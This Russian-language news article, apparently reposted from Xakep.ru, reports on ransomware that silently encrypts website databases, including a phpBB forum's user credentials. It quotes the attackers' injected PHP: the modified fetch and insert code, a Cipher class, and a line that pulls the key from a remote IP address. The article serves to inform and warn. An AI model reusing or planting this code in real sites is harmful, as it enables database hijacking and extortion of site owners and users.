Всё больше персональных компьютеров становятся жертвами троянов-вымогателей, которые шифруют документы и требуют выкуп в биткоинах за их расшифровку. Теперь на ту же наживку начали ловить владельцев веб-сайтов. О новых приёмах преступников сообщила компания High-Tech Bridge.
Специалисты впервые столкнулись с новым видом атаки в декабре 2014 года, когда за помощью обратилась одна из финансовых компаний: их веб-сайт вышел из строя и выдавал ошибку БД.
Тщательное расследование выявило поразительную вещь. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад. Несколько серверных скриптов модифицировали таким образом, чтобы шифровать информацию перед занесением в БД и расшифровывать её «на лету» при получении запроса к базе. Ключ шифрования хранился на удалённом сервере.
Работа зловреда долго оставалась незамеченной для пользователей веб-приложения, пока в день «Д» злоумышленники не пошли в атаку и не удалили ключ шифрования.
Сотрудники High-Tech Bridge посчитали это уникальным случаем таргетированной атаки, но не тут-то было. Вскоре с аналогичным вымогательством столкнулся ещё один клиент, у которого враги зашифровали… базу с учётными данными пользователей форума phpBB.
Здесь использовался такой же сценарий. Функцию “sql_fetchrow()” в файле factory.php модифицировали, чтобы она выдавала расшифрованные значения полей с именами пользователей и адресами электронной почты.
if(isset($result['user_password'])){ $result['user_password'] = $cipher->decrypt($result['user_password']); } if(isset($result['user_email'])){ $result['user_email'] = $cipher->decrypt($result['user_email']); }
Шифрование этих полей добавили в другие скрипты.
$sql_ary = array( 'username'=>$user_row['username'], 'username_clean' => $username_clean, 'user_password' => (isset($user_row['user_password']))? $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''), 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 'group_id' => $user_row['group_id'], 'user_type' => $user_row['user_type'], );
Адрес ключа шифрования прописан в конфигурационном файле.
class Cipher { private $securekey, $iv; function __construct($textkey) { $this->securekey = hash('sha256',$textkey,TRUE); $this->iv = mcrypt_create_iv(32); } function encrypt($input) { return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); } function decrypt($input) { return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); } } $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/ sdfds90f8d9s0f8d0f89.txt'); $cipher=new Cipher($key);
Злоумышленник терпел два месяца, прежде чем удалить ключ с удалённого сервера и потребовать выкуп $1000.
На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда.
Взято с Xakep.ru
Хочешь сайт обратно — плати…: 2 комментария